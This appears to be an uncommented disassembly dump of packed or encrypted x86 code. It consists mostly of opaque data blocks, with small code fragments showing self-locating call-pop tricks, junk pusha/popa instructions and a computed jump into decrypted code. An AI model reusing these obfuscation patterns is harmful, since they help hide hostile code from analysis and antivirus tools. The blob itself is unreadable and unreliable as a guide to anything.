		dd 0C1816D04h, 67A7626Ch, 8E8h,	0DD168500h, 0FE567FFDh
		dd 2C02BF16h, 835B568Fh, 850F01E8h, 0FFFFFF81h,	13840Fh
		dd 7E80000h, 0A2000000h, 0C8A5464Eh, 830F1B3Ch,	0
; ---------------------------------------------------------------------------
		pop	ebx
		lea	ecx, [ebp+7EF2879h]
		movzx	eax, cx
		mov	[ebp+7E9320Dh],	ecx
		mov	esi, 0B1B077Eh
		mov	dword ptr [ebp+7E922E5h], 669Ch
		push	0
		push	ebx
		call	sub_5E6532
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6532	proc near		; CODE XREF: sdfs____:005E652Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5E6532	endp

; ---------------------------------------------------------------------------
		xor	bh, [edi]
		sbb	al, 2Ch
		push	ecx
		pusha
		jmp	loc_5E6561
; ---------------------------------------------------------------------------
		db 6Bh,	0C0h, 0B1h
		dd 8F8D6116h, 0A00D3B00h, 29C4F1D7h, 0D0F47D6h
		db 2Ch
; ---------------------------------------------------------------------------


loc_5E6561:				; CODE XREF: sdfs____:005E6548j
		mov	ecx, 58D675D0h
		popa
		pusha
		jnb	loc_5E6574
		add	[ebp+7E91905h],	ebx


loc_5E6574:				; CODE XREF: sdfs____:005E6568j
		mov	ecx, 22A0AD88h
		popa
		mov	dword ptr [ebp+7E922B1h], 0
		push	0
		push	edi
		call	sub_5E658F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E658F	proc near		; CODE XREF: sdfs____:005E6587p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5E658F	endp

; ---------------------------------------------------------------------------
		db 9
		dd 0DF60D6D8h, 0FD6403Ch, 28Ah,	0FFFE8B00h, 0E91735B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 30D574DCh, 4AD8DD13h, 0E9605E4Eh, 11h, 8C4B4752h
		dd 73EEE72Dh, 7214A144h, 77E76C02h, 6061F9D5h, 870Fh, 8B660000h
		dd 95FF61FAh, 7E92285h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 4FC35242h, 871EE066h,	9D29FA6Ch, 7E91BB1h
		dd 95FF006Ah, 7E90C31h,	0BEBC08Bh, 0C9709ACBh, 0D7E70C8Fh
		dd 0E809952Eh, 13h, 1C96AC0h, 19A06FA1h, 0FF0033h, 2D4754CBh
		dd 8BFA2900h, 0E934419Dh, 8D895907h, 7E907A1h, 74EEC181h
		dd 870F0000h, 6, 10818501h, 0D22B07E9h,	0C890Fh, 66600000h
		dd 196C9B9h, 0E9239985h, 348B6107h, 819BB411h, 0A5F113EEh
		dd 0D5858B19h, 8107E919h, 5234A6EEh, 0F5858B42h, 8107E901h
		dd 39204BF6h, 79858910h, 5607E907h, 1C81858Bh, 48F07E9h
		dd 8BD98B11h, 0E90F3185h, 4EA8307h, 2A219D89h, 0FA8107E9h
		dd 0FFFF8BCCh, 16850Fh,	95890000h, 7E93079h, 1DE9h, 0F2349C00h
		dd 0AA8CF211h, 0FD2CC835h, 64BC0EBFh, 0FF90E96Ah, 0A9C0FFFFh
		dd 702AFCBh, 2DE9DED2h,	72000000h, 459BA8h, 25500h, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E7361
; ---------------------------------------------------------------------------
		push	7EF2AEAh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF2BDEh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF2DB2h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF2E9Ch
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF2F40h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF30F6h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF31C0h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF3314h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7EF3417h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		db 92h
		dd 8130AE7Ah, 0F75A4084h, 0E968769Eh, 0DD7C6AAEh, 29871FBFh
		dd 0E92D6B47h, 9E4640F1h, 8D55B100h, 0BD6DA415h, 71FA8E25h
		dd 0A92EADCBh, 4FAE0A8Fh, 36E8858h, 6FC6DC0Ch, 5FD4C4DAh
		dd 0A9289D92h, 2D139808h, 0ED99566Dh, 0AD2CBEEh, 42EAA1C5h
		dd 4799566Ch, 1D64864Eh, 12B0DA06h, 0A7C4F610h,	0C72F6B9Bh
		dd 0B313FFCCh, 2Ah, 801653D5h, 9EF69B10h, 2734A928h, 6A64D4C3h
		dd 75279956h, 6AE24EE5h, 55A69956h, 0F836D04Eh,	13FFD29Ch
		dd 0B0CCh, 584F8000h, 5036E88h,	0EC43D3C1h, 1D3482B8h
		dd 66CAC317h, 22A1407Bh, 87F20BDDh, 0E425229Dh,	61B819FDh
		dd 150C55B1h, 0B356DDC5h, 90A13FCBh, 8031A979h,	653D5989h
		dd 7A61A9E4h, 7C6C82C7h, 28D33EF7h, 0DFC714A9h,	0DDCFE166h
		dd 4287B456h, 23C8D8A1h, 916AD7FDh, 6B79BEBDh, 7268ACEAh
		dd 760301EEh, 6460FEB7h, 1CC0DE7Dh, 139C163h, 0A74E682Eh
		dd 0A14h, 25BD6DA5h, 4F577794h,	5D45918Ah, 6179A1FCh, 7412B2D0h
		dd 1A7854DEh, 336DECFAh, 425EF3EBh, 5AB1009Eh, 0E9BB108Eh
		dd 2EAEDE42h, 0BD1F9AA9h, 158D514Fh, 25BD6DA4h,	80165391h
		dd 79AADF10h, 0FB0F65E4h, 0A6CB60E0h, 0E4A9294Dh, 19012FC4h
		dd 0BAB99957h, 0B6D00017h, 692E4889h, 995718BFh, 0EE08CCCAh
		dd 27438783h, 47776F81h, 0ACEA1C26h, 13FF2448h,	0E230h
		dd 0DF7E5400h, 0E68D1FC3h, 0A13F853Ah, 57E6FDFEh, 2B769040h
		dd 0F0F525EDh, 0B2750841h, 0D879294Dh, 0F21A73C1h, 6AABA8h
		dd 0B653D8C3h, 0ADA13F9Fh, 9D3CAA76h, 4D305A86h, 79F2E6F8h
		dd 0A928A7C8h, 73D952E2h, 10995683h, 85D87E44h,	82D13BEBh
		dd 0E4E2F107h, 0F6EAFC49h, 4163887Dh, 1381D2A1h, 2AB054B2h
		dd 49255996h, 1CC0C269h, 34D83685h, 99C34Bh, 95305E2Eh
		dd 920h, 31A97991h, 5B438380h, 69719DF6h, 7D65ADE8h, 801EBEDCh
		dd 2664482Ah, 3F59F8E6h, 4E4A0F97h, 66BD1C8Ah, 0F5B72CBAh
		dd 2EAFD27Eh, 0A10396A9h, 0D745EE7Eh, 93A13F84h, 84B49813h
		dd 6774A13Fh, 43878326h, 7B9BF958h, 0EE52D969h,	0AAA13F84h
		dd 19B832A9h, 0EA6FDA02h, 0A4527ADDh, 7691BF34h, 0A49A140h
		dd 4F79DDC5h, 36E8858h,	6FC6DC0Ch, 0F4C2C8DAh, 0D234DC38h
		dd 0DD4AA0EDh, 8F1F8DF2h, 0EC0ED2CEh, 23478785h, 7FE4FF3Ch
		dd 0A9291206h, 0A28D1F5Ch, 0CF64EBADh, 9956CF61h, 999DA19h
		dd 0EC2AB14Dh, 9A118E85h, 995772B6h, 3BC78F55h,	315B81E3h
		dd 6EEFFD22h, 7EF4EF33h, 0F214C4DBh, 9D09B485h,	0F61E7720h
		dd 6DCFCD94h, 4BAFEC30h, 0AB6383BDh, 0B747D7CBh, 10C4103Ch
		dd 28BC812h, 1210C41Eh,	0EC0299DAh, 0BF6BA2FAh,	0AF6FAC2Dh
		dd 59D044Bh, 1F8D5DB4h,	5BBF63BEh, 0C003DB14h, 95B12DB7h
		dd 9A83080Eh, 67121094h, 4F8F8C4Dh, 0D04CBA54h,	0C5110BB9h
		dd 64BB1E84h, 0F02552B4h, 28121094h, 0DD6DD036h, 1094EA56h
		dd 60ADAE12h, 0D45F93EDh, 0E05F4A39h, 0E16179A9h, 819F2560h
		dd 36851C5Dh, 96D733DFh, 0A64D5F51h, 19FA3A9Bh,	69C4C211h
		dd 5DD6CADCh, 12111C54h, 0B9E90D4Eh, 0E59E8229h, 195A023Eh
		dd 0E6301982h, 0ABF9023Eh, 1EEE9244h, 5843E6D9h, 0A2F240A6h
		dd 0D6AB17ABh, 48Eh, 0DEFE1BBAh, 0B76571C3h, 10A13F84h
		dd 0A13F9528h, 3F78898Bh, 71321AA1h, 0C786A13Fh, 0FCE307CBh
		dd 0EBFD4AE5h, 5EC269F9h, 1AA13F70h, 7B9FFAD9h,	3BC9D01Fh
		dd 288B89B0h, 3AFC33A9h, 4932B696h, 8AC93FAAh, 3C1167F9h
		dd 3DD8E626h, 74Ch, 6D75A5FDh, 776FAFECh, 851DC9C2h, 0A931D934h
		dd 0BC2AEA28h, 52B01C06h, 6BA514B2h, 7A963BA3h,	92894856h
		dd 21E35846h, 2EB1A68Ah, 0F55762A9h, 1888584Fh,	853DE388h
		dd 0FEFDA13Fh, 0B7620BB5h, 4E5553EDh, 7E70F5C8h, 0A0ACC16Ah
		dd 8DCEA92Fh, 0D8349515h, 0DED8A930h, 0C1A98616h, 0E9295E9h
		dd 0F299870Ch, 82299950h, 9950F29Eh, 0E0F3195Ah, 0EF0146F9h
		dd 191F76FDh, 2635A13Ah, 91C4348h, 922240C9h, 0EA0CDC33h
		dd 9040ECE5h, 54B1E206h, 801B58B0h, 0B30A982Dh,	7E1A01A8h
		dd 851587C4h, 8702CAC4h, 0F03C9F12h, 862D7DE9h,	0DA1E099Ah
		dd 0CCDC1D5Eh, 0B1CFFD63h, 148F58CFh, 504683E2h, 195EF40h
		dd 0AC077221h, 0C83CB735h, 10E20726h, 1970D1C3h, 42A474ABh
		dd 73C6DC1Dh, 0B733CC1Ch, 3AEEDF14h, 662711Ch, 0BBD30000h
		dd 0C5C2776Fh, 0DF389901h, 0EF2AAF37h, 1EB32Bh,	668C6DCh
		dd 32A86CAAh, 4159859Fh, 564C94F0h, 667CACE3h, 8CB03BC9h
		dd 4CA92EB2h, 1653EF49h, 0EA9B1080h, 38A92893h,	6CC3DF3Bh
		dd 0A42BEF99h, 963E58CEh, 948B4A51h, 69B5444h, 7E1A88BEh
		dd 31DF27A2h, 0C59D70Fh, 0F46D069Ah, 36A13EB2h,	35517D97h
		dd 6E6D930Eh, 14C4DB7Ah, 0BE6EF58Dh, 0E1916C94h, 916C953Bh
		dd 198B1DAAh, 5BBDFF92h, 0BCDE1D99h, 0E12965E4h, 6BCE71FAh
		dd 38E3897Dh, 4F897D6Ch, 75F78858h, 0F43617D1h,	5BE43EAh
		dd 170F0000h, 217ED3CBh, 3B54E5FDh, 4B460B93h, 5CBA1F87h
		dd 0AAB422B8h, 9E04C8C6h, 0AD35E13Bh, 0B228F02Ch, 0C2D8081Fh
		dd 301C9715h, 0E8A92EB4h, 165303ADh, 6D68D38Ch,	8FCC4D72h
		dd 0DB61BC1Dh, 0F2F115C1h, 1D96168Dh, 0A92F9A80h, 0B12A63E2h
		dd 5148163Ah, 4081D299h, 46A0B359h, 0EEF4247Bh,	9EF8F677h
		dd 960CDC33h, 0B25AB312h, 4A486B68h, 7863608Ah,	0F416C2D9h
		dd 0CAC876ADh, 0AA6AA70Ah, 0B8C20340h, 118B7BAFh, 1FB02EFAh
		dd 1404F4F7h, 1AB63h, 16532500h, 84F458D3h, 0A3FDA13Fh
		dd 0B8D01F7Bh, 0D6667ABBh, 847FAD46h, 383BA13Fh, 0A23538A1h
		dd 0A4B7A928h, 35BE4E42h, 99566807h, 0F511B0C3h, 0FD2DB62Dh
		dd 86995667h, 91D66284h, 5BE68D1Fh, 0D1A13F85h,	5EB50482h
		dd 2444EBEh, 0B5FA112Ah, 0C9197051h, 0F1E77CD1h, 0E8548E3h
		dd 0F4079956h, 0DE33E592h, 0CAF48983h, 5B769E1Ch, 2A0523D2h
		dd 0F689A33Bh, 45074893h, 0B8CAD1BEh, 31584D54h, 48000000h
		dd 24469289h, 5310A43Fh, 80108016h, 84D57BF0h, 4695A13Fh
		dd 9EABD65Bh, 92E1A928h, 6A190388h, 0D0D29956h,	0D39CF836h
		dd 0CECC13FFh, 80000000h, 6E88584Fh, 0D3C10503h, 4561CB1Ch
		dd 4B110785h, 4A9ED327h, 260AA1B2h, 0E2A13FD8h,	0CD495091h
		dd 197DADE4h, 29B161B8h, 3FDC6782h, 15C5DCA1h, 6CAC687h
		dd 6EE4FFE4h, 6C7C72F7h, 0D2E957DCh, 52A1A13Fh,	4532B937h
		dd 93A92BA8h, 1C05040h,	3F49CC04h, 67BC27DBh, 40888326h
		dd 789CFA59h, 6DB1EF62h, 3E64C290h, 0E68FA926h,	408h, 29B161B9h
		dd 33AB6BA8h, 4159859Eh, 554D95F0h, 7866A6E4h, 0E0C60C2h
		dd 2761D0CEh, 3652E7FFh, 4E45F492h, 0DDAF0482h,	2EB4EA56h
		dd 49EBAEA9h, 158D514Fh, 6FEE6DA4h, 38E4ED31h, 0F0A13F85h
		dd 0EB6F5FEFh, 0BCFD246Dh, 53E3677Fh, 404874D8h, 0FF7434A1h
		dd 0A1404851h, 1E85CA09h, 88584FBAh, 9A2326Eh, 0A13F8523h
		dd 0D8F298E7h, 0D7A915A6h, 0DD93396h, 40FFEAE9h, 74A4FB49h
		dd 0D41BAF37h, 45B87F0Ch, 54E0FB6Ah, 4004B365h,	52C1CA1h
		dd 24A1A13Fh, 0CF8E1EB2h, 0E930ED6h, 0A92E2E73h, 0A7644689h
		dd 2EB8A8h, 0C81ED1C3h,	0AAA87C72h, 6045B128h, 54DFCDE3h
		dd 0A138D029h, 0B16F1063h, 0A02E0D70h, 33EFF86h, 978F0000h
		dd 0A1FE534Bh, 0BBD4657Dh, 0CBC68B13h, 0DC3A9F07h, 2A34A238h
		dd 1E844846h, 2DB561BBh
		dd 32A870ACh, 4258889Fh, 0B09C1795h, 68A92EB5h,	0EE7E832Dh
		dd 8AEC346Fh, 84E04C45h, 5B98A13Fh, 429AF140h, 0EA9ECA12h
		dd 96D5231h, 39A171A8h,	3BA93F84h, 0AC901BABh, 4BA14015h
		dd 0D9F25EA0h, 92E10B7Fh, 7D5F62F7h, 15A5A929h,	574BB29Eh
		dd 28657699h, 6F837531h, 0CF4EF5Ch, 3CECABCFh, 0F995781h
		dd 6F8713F3h, 1B13FEB7h, 25h, 801653BDh, 0C7C18010h, 721F841Fh
		dd 0A8A9289Fh, 0E0484FABh, 0AB99566Ah, 0D3236F97h, 8713FFD2h
		dd 0E9h, 0DB584FD9h, 0F3F81C7Ah, 0A13F844Dh, 62DED62Ah
		dd 92FEC666h, 31900041h, 6EA833D3h, 0A5C10503h,	0F115C5DCh
		dd 3BA97990h, 1542ABF4h, 4C579BEFh, 9A232B6h, 0A13FF923h
		dd 0F928149Fh, 93E0A13Fh, 3B577A79h, 554C7397h,	3FFD29CCh
		dd 0D7031AA1h, 0C7130ACFh, 4E851AD5h, 7DB45F33h, 2FBAFB23h
		dd 5F5196D7h, 0BA6BA64Dh, 3241A928h, 58AC3994h,	4351963Eh
		dd 4250B5A8h, 0AF806FA1h, 0AEBA218Ch, 0C417FDE4h, 0F71775D4h
		dd 20CB5BEFh, 916A91FCh, 9524BFBCh, 68AA5777h, 0FB2E0134h
		dd 1EA30DDh, 435B0000h,	4D4A0F97h, 67A01189h, 779227BFh
		dd 88864B53h, 7EE05E44h, 0CAD0F412h, 0D9C10D07h, 0EEF41C78h
		dd 0FEE4346Bh, 428C341h, 0C4A92EB8h, 514F57F1h,	3495158Dh
		dd 0E8D733DBh, 9F4B42F1h, 85554C0Dh, 0E3676261h, 8016536Bh
		dd 9EF69B10h, 2734A928h, 0CB60CFC3h, 0C9F67D0Bh, 40E87168h
		dd 0B9955ADh, 35DD3899h, 189670AEh, 14008EFCh, 0E16Ch
		dd 584F2000h, 0A2326E88h, 3F852309h, 0BE98E7A1h, 6BE4622Bh
		dd 15A43F7Ch, 41EF84F7h, 0F9A1400Fh, 0A627B5FAh, 4B47A36Fh
		dd 400E7CA0h, 0FE3F3CA1h, 816413E3h, 0E2A14013h, 0E3677FABh
		dd 86E02462h, 9CF34259h, 0A6FD5C4Ch, 0D6976F7Ah, 0E68D1F91h
		dd 0A9292B2Bh, 0AD759001h, 0DDC50A49h, 4F8F8C4Dh, 50FC772Bh
		dd 89956E9h, 0BC1F8ACBh, 0A223B127h, 1946A064h,	95690282h
		dd 0A9A142BEh, 799736AAh, 8E8C4D55h, 0A95FB54Eh, 0C0EE2E01h
		dd 0E725h, 90405800h, 8A4A470Ah, 0B864BD1Ch, 0AC74AF22h
		dd 41858336h, 2D81E359h, 2B72FEFh, 73C6DC08h, 66EBF317h
		dd 4CFBE32Fh, 0B90937BCh, 0F4C1A92Eh, 0EF514F68h, 0BA2E6FB3h
		dd 59E7ED75h, 2865E887h, 0A63CA7E4h, 0B62CFC13h, 3B55FD32h
		dd 0A1DB3981h, 584F9E3Ah, 5FB91888h, 756C53B7h,	39E92081h
		dd 21B70CA1h, 2CF812B3h, 66AEE7CAh, 39EDF04h, 0AD8FEE85h
		dd 0C4B5A92Eh, 0D1C300C8h, 97F31370h, 0FCC531A8h, 0EC6D75A5h
		dd 8A0165B5h, 0DBC4F830h, 36507C95h, 82E4346Bh,	19B15549h
		dd 0D9F4779h, 7DDCCA16h, 3190FA26h, 66CA61D6h, 2256DBBCh
		dd 2B7690D1h, 0E2CF2BEFh, 0BF1B7FABh, 17556581h, 1CDC687h
		dd 2A82649Ah, 874745F3h, 445D7C63h, 30717E98h, 60B716AAh
		dd 726956B0h, 0FA1CCCC3h, 353h,	2E8A7100h, 6F8B574Fh, 0BBDF0B02h
		dd 0F416BAD6h, 4FAB73ADh, 86E02462h, 0DD39DD3Bh, 157199F4h
		dd 6F8B534Ch, 0A5C10502h, 0E18951B7h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68242C89h, 5B74h, 68240489h, 2D76h, 68243489h
		dd 7EF29DDh, 8324048Bh,	8B5404C4h, 0C4812434h, 4, 74BE5650h
		dd 1714559h, 5E042474h,	8108468Fh, 5974086Eh, 348B7145h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5624048Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 6DE95C24h, 93FFFB1Dh, 23BE7238h
; ---------------------------------------------------------------------------
		push	ebp


loc_5E7361:				; CODE XREF: sdfs____:005E6738j
		mov	eax, 7EF3523h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0D0EDh
		dd 31D14DCFh, 222E2D54h, 6C6F4763h, 0F1D76D54h,	38660D89h
		dd 13B86752h, 0E08106DFh, 504C1896h, 65F85F86h,	2F0E4430h
		dd 0A6057399h, 0EAC25367h, 152A0288h, 2B5C0686h, 0FC3168C9h
		dd 0A5893629h, 0F2C63BF9h, 66AD12F0h, 8D8D484Ah, 7EF369Fh
		dd 7E5BD8Bh, 8D8907E9h,	7E9320Dh, 58F0Fh, 81660000h, 0C7EE26E3h
		dd 0E922E585h, 698807h,	8D895600h, 7E91651h, 0B185C75Fh
		dd 7E922h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 6E1CC352h, 1D1370E4h, 0B5FFA32Eh
		dd 7E912D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	17C35646h, 0B4296227h, 1CB59529h, 860F07E9h, 5
		dd 336F33BBh, 8595FF30h, 8007E922h, 6A49ECh, 0C3195FFh
		dd 0C08B07E9h, 0A8EB19EBh, 0A26CEF46h, 682A1658h, 0C362B174h
		dd 8908325Bh, 0AB71B69Fh, 0E9311A5Bh, 0C2h, 76919EE7h
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 2 dup(0)
		dd 36E90000h, 68000015h, 7EF395Dh, 0FA4431E9h, 3A5C68FFh
		dd 27E907EFh, 68FFFA44h, 7EF3B43h, 0FA441DE9h, 3C7668FFh
		dd 13E907EFh, 68FFFA44h, 7EF3CD9h, 0FA4409E9h, 3DB768FFh
		dd 0FFE907EFh, 68FFFA43h, 7EF3E4Dh, 0FA43F5E9h,	3F0068FFh
		dd 0EBE907EFh, 68FFFA43h, 7EF3FDDh, 0FA43E1E9h,	414668FFh
		dd 0D7E907EFh, 68FFFA43h, 7EF4246h, 0FA43CDE9h,	437D68FFh
		dd 0C3E907EFh, 68FFFA43h, 7EF4434h, 0FA43B9E9h,	458468FFh
		dd 0AFE907EFh, 68FFFA43h, 7EF46DAh, 0FA43A5E9h,	48D868FFh
		dd 9BE907EFh, 68FFFA43h, 7EF49E6h, 0FA4391E9h, 0A2D279FFh
		dd 0EF8DA113h, 3A44EA46h, 8B0919BBh, 0D1AB4EEAh, 0F6BCC5Ch
		dd 0B1E392EAh, 0E751DC60h, 2B852850h, 99FE7701h, 8D14940Dh
		dd 0CEFC286Dh, 0D6A04A98h, 0CEA8420Eh, 76E10C27h, 0ABCEADE4h
		dd 0DEC437B5h, 0AC439F06h, 6F392873h, 0ABDCDCD5h, 6E342873h
		dd 62BF5E82h, 8C19F5A2h, 45DCh,	0A0B3E600h, 720BA537h
		dd 9268896Bh, 0A9E998D9h, 6B305C21h, 0BE4FAB39h, 37B5083Fh
		dd 1E9E13ADh, 0F6287308h, 3C9844ACh, 1836319h, 0D6F29373h
		dd 8A287307h, 0C24050FCh, 0B6630A76h, 8C1A9D4Eh, 0CDA8h
		dd 0A04A3A00h, 0AF420ED6h, 0C4D8D8C9h, 6A38305Ch, 91AB42D4h
		dd 3ACEA41Ch, 425C9058h, 7E088A9Ah, 5CB58303h, 0DB178D30h
		dd 89235DFFh, 8F57D5CDh, 0D5E13DF5h, 8FE90347h,	0A30D74F9h
		dd 0A1305CB0h, 0E844E98Bh, 19EC3042h, 82FF891Eh, 37B59F2Fh
		dd 96109D07h, 0D06ECDFFh, 9C5495BAh, 37C156C1h,	0C77DEC7Ah
		dd 0C7C35A2Fh, 0ABD56755h, 3CD5D612h, 9A08F4h, 2ACBB144h
		dd 98116B8Eh, 3C34279Bh, 0AF32A5B9h, 17000012h,	5FF97404h
		dd 802CC1BBh, 37610C6Eh, 64D05DDFh, 920AABD1h, 64102595h
		dd 0B6366FC9h, 27A9D3Fh, 492BC173h, 0AAE7C3A4h,	286D8BEAh
		dd 78B2102Ah, 0C74439DCh, 0AFA25050h, 7C06DE6Ch, 8FED00B4h
		dd 0D6A04AE6h, 0A0B3EB5Fh, 0F98C1001h, 5A21743Ch, 0B04AD8B0h
		dd 0B54102C1h, 32129037h, 73407753h, 38E16D28h,	1A65299Bh
		dd 0DD458Ch, 0AF390000h, 734BB2F2h, 0B6406228h,	734BBBFBh
		dd 0E34F5528h, 67ED7821h, 0F42532F9h, 0BF87F11Bh, 7F5B9725h
		dd 7743A3DDh, 0DB4A9AE2h, 305C19F1h, 0BA3B45D7h, 5DB4FC1Eh
		dd 20F549DFh, 9908A235h, 37B50846h, 85057C16h, 47287308h
		dd 0D9CBCBB5h, 0BE376D11h, 4DDF48EBh, 0C7333D54h, 762B752Fh
		dd 20873436h, 0A436C4DEh, 3417970Ah, 0AFF92087h, 8733B2F2h
		dd 0B2406220h, 51E46046h, 0A282FA1Dh, 0B1E39220h, 3651D89Ch
		dd 4E3C34A6h, 11B0C1F6h, 5160000h, 0BA5EFA7Bh, 6D832DC0h
		dd 0DE366213h, 0D267D15Ch, 94950BAAh, 0CA6B1124h, 38B5376Eh
		dd 6C017B9Ch, 0A5482AC0h, 0EBABE6C0h, 25286D8Ah, 0A74AB117h
		dd 769B43D5h, 4CA43E06h, 0D45D741h, 24C88CE8h, 0B12DC056h
		dd 0A9750715h, 4AEDDF1Bh, 700ED6A0h, 263E43D4h,	4DE43370h
		dd 0AC08E076h, 0E541EC8Eh, 4AA6D679h, 6EB6C86Eh, 7AEC862h
		dd 58DBE1E0h, 732257F9h, 0FD15C023h, 2DB78F1Dh,	61940D9Fh
		dd 0AB37B550h, 4A5A0C23h, 0D86E74C8h, 0D6366C10h, 0E91F845Fh
		dd 79083FFh, 1E8D3C75h,	0FFA53842h, 50C75227h, 1D912CC6h
		dd 4381F0A8h, 0D979C996h, 0AF5BAF4Ch, 92720A2Fh, 3029D810h
		dd 82305484h, 2CCE9620h, 0AA43A352h, 2643ADFEh,	8047379Ch
		dd 7662E4CEh, 8EAC08E0h, 0CB0845ECh, 94A83CA8h,	10C923h
		dd 92E20900h, 0DF9DB1E3h, 2A54FA56h, 7BF9298Bh,	0C1BB5EFAh
		dd 1F7BBC2Ch, 41F382FAh, 0F721CC50h, 3B951860h,	0A9CE6711h
		dd 8A0484FDh, 0FE0C286Dh, 0D6A04A88h, 2FB8BB0Eh, 9EE1E49Dh
		dd 834B37B5h, 3F230F69h, 9A95C865h, 0E2D4DD0Ah,	2DC39BF7h
		dd 46E3E69Bh, 0F1B32FCCh, 4658742Dh, 0C208Ah, 5F48B859h
		dd 37A69403h, 3C000000h, 0A537A0B3h, 0B277F2ECh, 52E4BE37h
		dd 9A1B658Ah, 0CEAC400Ch, 0C5846C76h, 287376C3h, 64096B81h
		dd 0C2BC52FAh, 0D4AD4276h, 0C216A401h, 0E242D052h, 1029CDh
		dd 0A0B31500h, 41ECA537h, 0D1384F8Ch, 7F9D39D3h, 0A0D16BFDh
		dd 286D8CE0h, 3B867230h, 0A8711ABh, 286D8D8Ah, 2969188Ah
		dd 0EB286D8Dh, 0B74571B9h, 0E76F79C5h, 13CE2A52h, 6B059700h
		dd 8CE0A0D1h, 7230286Dh, 0E539BBEAh, 0EC7213DFh, 0A0306055h
		dd 4EEC6802h, 8825812Ch, 718C887Bh, 30C581A1h, 0EEAF844h
		dd 2EF680AAh, 0BD4FD85Bh, 0E494BB23h, 7E4AF5B5h, 3DBFD720h
		dd 0A9D36551h, 71B94F55h, 333F3A77h, 2D7727D7h,	26A6D584h
		dd 786FE724h, 0F96h, 0D05D1F3Ch, 0BAAD064h, 78F587A9h
		dd 0AF46C4DCh, 0E18CE80Dh, 2FC2AE8Bh, 1D74A04Dh, 95BA169Fh
		dd 4CEE4AEBh, 0C0DA8332h, 6D88D1D1h, 5B094328h,	5CC5439Fh
		dd 0C651DC30h, 8DEF7D34h, 79D384Fh, 3143E975h, 78FA10BCh
		dd 0D146D1A4h, 68874A47h, 0A30F2FC6h, 0D663F173h, 3C396AADh
		dd 33BC1323h, 9300000Fh, 0DB75F878h, 0CA84537h,	0B31D90EAh
		dd 0E04CE163h, 16862F4Dh, 0E88CA111h, 3ABAEB45h, 86F619BBh
		dd 0CDAF4DEFh, 2E633F20h, 286D896Eh, 4A3694A6h,	0A944D6A0h
		dd 99E83B25h, 0FF2FAE20h, 7AEDA8F4h, 0D6D00CE4h, 4E96E80Eh
		dd 32D8FC34h, 3CD0FC40h, 3E47473Ah, 0DBC9305Ch,	3FDDF945h
		dd 3E484839h, 0DAC8305Ch, 0DD23F844h, 0AF3FBE3Ch, 3E1C9C15h
		dd 0AEF4305Ch, 0A27F1E42h, 84316362h, 8D19Ch, 39680200h
		dd 305C4679h, 621A3F9Bh, 0B3A664CCh, 8A537A0h, 45B21DADh
		dd 2656FB8Ch, 0B44E5890h, 5F27671Ah, 0BFE9305Ch, 5C5EC2C2h
		dd 0C2505230h, 27DE9776h, 0D2D0384Fh, 0FC7E9C38h, 4B35C771h
		dd 28AE0AFBh, 0A4B7286Dh, 0E5E89933h, 0AD2FC601h, 0F3277AF7h
		dd 0B18D3C39h, 0E551Eh,	1E5EFD00h, 6B112597h, 0B6C86ECAh
		dd 7859D3Fh, 4D2FC26Eh,	83EF48A0h, 35670E6Eh, 7BD558DCh
		dd 0AF09A4D4h, 1D42F38Dh, 87901081h, 4A80286Dh,	0D6A04A14h
		dd 0CEA8420Eh, 0E8917B76h, 30DBD92Bh, 8301584h,	9FAD0000h
		dd 305CC543h, 34C651DCh, 4F8E447Dh, 22B4EE38h, 4FE690BAh
		dd 0D12D4FEDh, 91EB0FD7h, 26FB374Dh, 0F587AA0Bh, 8F089C29h
		dd 1008020Dh, 0C05AEC82h, 0E33B7B36h, 0F9D5286Ch, 0A7932153h
		dd 0C5BD23A6h, 0B831732Fh, 3C383FFFh, 0BF5609C5h, 700000Dh
		dd 4FE984F4h, 0F05CD1ABh, 27911C5Eh, 54C06DEFh,	0A23ABBC1h
		dd 74001585h, 0C6465FF9h, 126A8D2Fh, 591B3163h,	0BAF7B3D4h
		dd 286D86FAh, 4A82E01Ah, 420ED6A0h, 7B76CEA8h, 929352EBh
